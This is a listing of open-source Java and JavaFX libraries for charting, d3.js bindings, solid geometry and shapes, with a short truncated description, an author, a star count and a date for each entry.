Exposing charts from Java to JavaFX and to the Web! JavaFX · Charts · Websockets · Jetty · Web JavaFxDataviewer is an open-source data visualization t

jasrodis 57 Oct 26, 2022
Provides a Java API to use the JavaScript library d3.js with the JavaFx WebView

javafx-d3 Provides a Java API for using the JavaScript library d3.js with JavaFx Applications. Many thanks to the authors of the projects gwt-d3 [1] a

null 98 Dec 19, 2022
Java implementation of BSP based CSG (Constructive Solid Geometry)

JCSG Java implementation of BSP based CSG (Constructive Solid Geometry). It is the only simple and free Java implementation I am aware of. This implem

Michael Hoffer 154 Sep 25, 2022
JSilhouette provides additional shapes for Java applications

JSilhouette JSilhouette provides additional shapes for Java applications. Currently JavaFX is supported. Installing You can get the latest version of

Kordamp 39 Nov 7, 2022
A 3D chart library for Java applications (JavaFX, Swing or server-side).

Orson Charts (C)opyright 2013-2020, by Object Refinery Limited. All rights reserved. Version 2.0, 15 March 2020. Overview Orson Charts is a 3D chart l

David Gilbert 96 Sep 27, 2022
This repository contains all java related sources of the Dolphin Platform.

Dolphin Platform This repository contains all Java related sources of the Dolphin Platform. Clients for other languages can be found in seperate repos

IMTF 74 Sep 5, 2022